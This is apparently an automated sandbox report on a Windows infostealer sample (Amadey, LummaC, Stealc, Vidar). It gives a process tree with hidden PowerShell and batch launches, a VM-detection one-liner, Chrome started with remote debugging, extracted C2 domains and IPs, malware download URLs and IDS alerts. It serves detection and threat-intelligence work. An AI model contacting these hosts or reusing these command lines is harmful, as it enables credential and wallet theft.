Edit tour

Windows Analysis Report
Anv6Gbh51e.exe

Overview

General Information

Sample name:	Anv6Gbh51e.exe renamed because original name is a hash value
Original sample name:	745d5cd64aee1b5c9f396c367c36e89a.exe
Analysis ID:	1624411
MD5:	745d5cd64aee1b5c9f396c367c36e89a
SHA1:	ef7f1a889671f1ce8c49ae863bfa123131d522b7
SHA256:	ed1f2d955de698f60b8624feb3d07891bf1903411dbccc65e41befce2fac3194
Tags:	exeuser-abuse_ch
Infos:

Detection

Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys Clipper DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to start a terminal service

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Anv6Gbh51e.exe (PID: 2692 cmdline: "C:\Users\user\Desktop\Anv6Gbh51e.exe" MD5: 745D5CD64AEE1B5C9F396C367C36E89A)

NKJ797NQF61QBFM5Y63P3Y.exe (PID: 2088 cmdline: "C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe" MD5: A92D6465D69430B38CBC16BF1C6A7210)

rapes.exe (PID: 5224 cmdline: "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe" MD5: A92D6465D69430B38CBC16BF1C6A7210)

XK9L90SC7AOEFMV7ZL8Q53257L.exe (PID: 1772 cmdline: "C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe" MD5: 70D708AE78C780F759A98B5960D942FF)

chrome.exe (PID: 6248 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5752 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2072,i,5271439953477770130,18017853151597838007,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

rapes.exe (PID: 5332 cmdline: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe MD5: A92D6465D69430B38CBC16BF1C6A7210)

rapes.exe (PID: 6992 cmdline: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe MD5: A92D6465D69430B38CBC16BF1C6A7210)

0iMSdYX.exe (PID: 6568 cmdline: "C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe" MD5: 6E17C374E3828297AD1B8E40B3809C0C)

cmd.exe (PID: 4956 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5900 cmdline: powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Roaming\nahprot.bat' -ArgumentList 'gOsYxjsoymkBmrzpQYy' -WindowStyle Hidden" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6308 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" gOsYxjsoymkBmrzpQYy " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 980 cmdline: powershell.exe "if ((Get-WmiObject Win32_DiskDrive | Select-Object -ExpandProperty Model | findstr /i 'WDS100T2B0A') -and (-not (Get-ChildItem -Path F:\ -Recurse | Where-Object { -not $_.PSIsContainer } | Measure-Object).Count)) {exit 900} else {exit 1}" MD5: 04029E121A0CFA5991749937DD22A1D9)

RHPLumH.exe (PID: 5064 cmdline: "C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe" MD5: 8D0868398DE40E6E16A7C541F07E5E09)

Yg1HwMX.exe (PID: 3164 cmdline: "C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe" MD5: 878AF31A1214004EEF661F6F0FBD5F8D)

Yg1HwMX.exe (PID: 3408 cmdline: "C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe" MD5: 878AF31A1214004EEF661F6F0FBD5F8D)

WerFault.exe (PID: 5224 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 804 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.lexfo.fr/StealC_malware_analysis_part1.html https://blog.lexfo.fr/StealC_malware_analysis_part2.html https://blog.lexfo.fr/StealC_malware_analysis_part3.html https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["uncertainyelemz.bet", "hobbyedsmoker.live", "presentymusse.world", "deaddereaste.today", "subawhipnator.life", "privileggoe.live", "boltetuurked.digital"], "Build id": "rfhMoG--"}

Threatname: Amadey

{"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000003.2246908539.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2231702141.0000000000361000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000007.00000002.2569237945.00000000009E1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1929691429.0000000000D04000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1929031558.0000000000D04000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2568280918.000000000056E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2983153667.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000015.00000002.2986018163.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1815023026.0000000000D53000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1928918282.0000000000D55000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1813854791.0000000000D53000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1897446252.0000000000D53000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Anv6Gbh51e.exe PID: 2692	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Anv6Gbh51e.exe PID: 2692	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Anv6Gbh51e.exe PID: 2692	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: XK9L90SC7AOEFMV7ZL8Q53257L.exe PID: 1772	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: XK9L90SC7AOEFMV7ZL8Q53257L.exe PID: 1772	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: XK9L90SC7AOEFMV7ZL8Q53257L.exe PID: 1772	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: XK9L90SC7AOEFMV7ZL8Q53257L.exe PID: 1772	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: Yg1HwMX.exe PID: 3408	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Yg1HwMX.exe PID: 3408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Yg1HwMX.exe PID: 3408	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.Yg1HwMX.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
21.2.Yg1HwMX.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
4.0.NKJ797NQF61QBFM5Y63P3Y.exe.740000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
6.0.rapes.exe.e60000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
6.2.rapes.exe.e60000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
5.0.rapes.exe.e60000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
12.2.rapes.exe.e60000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
4.2.NKJ797NQF61QBFM5Y63P3Y.exe.740000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
20.2.Yg1HwMX.exe.3969550.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
5.2.rapes.exe.e60000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
12.0.rapes.exe.e60000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
0.2.Anv6Gbh51e.exe.360000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe", ParentImage: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe, ParentProcessId: 1772, ParentProcessName: XK9L90SC7AOEFMV7ZL8Q53257L.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 6248, ProcessName: chrome.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Roaming\nahprot.bat' -ArgumentList 'gOsYxjsoymkBmrzpQYy' -WindowStyle Hidden" , CommandLine: powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Roaming\nahprot.bat' -ArgumentList 'gOsYxjsoymkBmrzpQYy' -WindowStyle Hidden" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Roaming\nahprot.bat' -ArgumentList 'gOsYxjsoymkBmrzpQYy' -WindowStyle Hidden" , ProcessId: 5900, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:47:32.968861+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.27.210	443	TCP
2025-02-26T09:47:33.952146+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.27.210	443	TCP
2025-02-26T09:47:38.550919+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.27.210	443	TCP
2025-02-26T09:47:41.000052+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.27.210	443	TCP
2025-02-26T09:47:49.716284+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.27.210	443	TCP
2025-02-26T09:47:52.450989+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.27.210	443	TCP
2025-02-26T09:47:54.035342+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.27.210	443	TCP
2025-02-26T09:48:16.624980+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	104.21.27.210	443	TCP
2025-02-26T09:49:33.764868+0100	2028371	3	Unknown Traffic	192.168.2.4	50046	104.21.27.210	443	TCP
2025-02-26T09:49:35.620040+0100	2028371	3	Unknown Traffic	192.168.2.4	50048	104.21.27.210	443	TCP
2025-02-26T09:49:36.926198+0100	2028371	3	Unknown Traffic	192.168.2.4	50050	104.21.27.210	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:47:33.447088+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.27.210	443	TCP
2025-02-26T09:47:37.588772+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	104.21.27.210	443	TCP
2025-02-26T09:48:17.147333+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49744	104.21.27.210	443	TCP
2025-02-26T09:49:35.116547+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50046	104.21.27.210	443	TCP
2025-02-26T09:49:36.087104+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50048	104.21.27.210	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:47:33.447088+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49731	104.21.27.210	443	TCP
2025-02-26T09:49:35.116547+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50046	104.21.27.210	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hobbyedsmoker .live)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:47:32.463208+0100	2060334	1	Domain Observed Used for C2 Detected	192.168.2.4	65488	1.1.1.1	53	UDP
2025-02-26T09:49:33.279036+0100	2060334	1	Domain Observed Used for C2 Detected	192.168.2.4	52660	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pirtyoffensiz .bet)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:47:32.346661+0100	2060342	1	Domain Observed Used for C2 Detected	192.168.2.4	52584	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (uncertainyelemz .bet)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:47:32.450899+0100	2060315	1	Domain Observed Used for C2 Detected	192.168.2.4	60192	1.1.1.1	53	UDP
2025-02-26T09:49:33.214265+0100	2060315	1	Domain Observed Used for C2 Detected	192.168.2.4	58164	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:48:26.171172+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.115	80	192.168.2.4	49754	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:48:26.163980+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49754	185.215.113.115	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:48:26.389413+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49754	185.215.113.115	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:48:27.390052+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49754	185.215.113.115	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:48:26.398144+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.115	80	192.168.2.4	49754	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:47:48.665370+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49734	104.21.27.210	443	TCP
2025-02-26T09:49:37.608607+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50050	104.21.27.210	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:48:25.939178+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49754	185.215.113.115	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:49:05.931581+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50016	176.113.115.6	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:49:10.611155+0100	2803305	3	Unknown Traffic	192.168.2.4	50041	176.113.115.7	80	TCP
2025-02-26T09:49:23.730036+0100	2803305	3	Unknown Traffic	192.168.2.4	50043	176.113.115.7	80	TCP
2025-02-26T09:49:32.142842+0100	2803305	3	Unknown Traffic	192.168.2.4	50045	176.113.115.7	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:48:27.613484+0100	2803304	3	Unknown Traffic	192.168.2.4	49754	185.215.113.115	80	TCP
2025-02-26T09:48:41.316990+0100	2803304	3	Unknown Traffic	192.168.2.4	49837	185.215.113.115	80	TCP
2025-02-26T09:48:42.756366+0100	2803304	3	Unknown Traffic	192.168.2.4	49837	185.215.113.115	80	TCP
2025-02-26T09:48:43.678326+0100	2803304	3	Unknown Traffic	192.168.2.4	49837	185.215.113.115	80	TCP
2025-02-26T09:48:44.451623+0100	2803304	3	Unknown Traffic	192.168.2.4	49837	185.215.113.115	80	TCP
2025-02-26T09:48:47.248332+0100	2803304	3	Unknown Traffic	192.168.2.4	49837	185.215.113.115	80	TCP
2025-02-26T09:48:47.764422+0100	2803304	3	Unknown Traffic	192.168.2.4	49837	185.215.113.115	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T09:47:54.042475+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49743	104.21.27.210	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Anv6Gbh51e.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://176.113.115.7/files/815829564/RHPLumH.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/c4becf79229cb002.phprowser	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/68b591d6548ec281/vcruntime140.dll_	Avira URL Cloud: Label: malware
Source: boltetuurked.digital	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/68b591d6548ec281/vcruntime140.dlls	Avira URL Cloud: Label: malware
Source: https://presentymusse.world/api	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/68b591d6548ec281/vcruntime140.dllC	Avira URL Cloud: Label: malware
Source: https://presentymusse.world/pi	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/68b591d6548ec281/mozglue.dll&a	Avira URL Cloud: Label: malware
Source: https://presentymusse.world/apimh	Avira URL Cloud: Label: malware
Source: http://176.113.115.7/files/6708407063/MegVlau.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/68b591d6548ec281/sqlite3.dll4a	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/c4becf79229cb002.phprofiles	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/c4becf79229cb002.phpser	Avira URL Cloud: Label: malware
Source: https://presentymusse.world/apiB	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/c4becf79229cb002.php3	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/68b591d6548ec281/softokn3.dll(	Avira URL Cloud: Label: malware
Source: https://presentymusse.world/bui	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/c4becf79229cb002.phpl	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/c4becf79229cb002.phpf	Avira URL Cloud: Label: malware
Source: http://176.113.115.7/files/6416878235/Yg1HwMX.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/c4becf79229cb002.phpD:	Avira URL Cloud: Label: malware
Source: https://presentymusse.world/x	Avira URL Cloud: Label: malware
Source: https://presentymusse.world/sm	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/c4becf79229cb002.phpS	Avira URL Cloud: Label: malware
Source: http://185.215.113.115/c4becf79229cb002.phpU	Avira URL Cloud: Label: malware
Source: https://presentymusse.world:443/api	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe	Avira: detection malicious, Label: HEUR/AGEN.1317717
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\0iMSdYX[1].exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Avira: detection malicious, Label: TR/Dropper.Gen
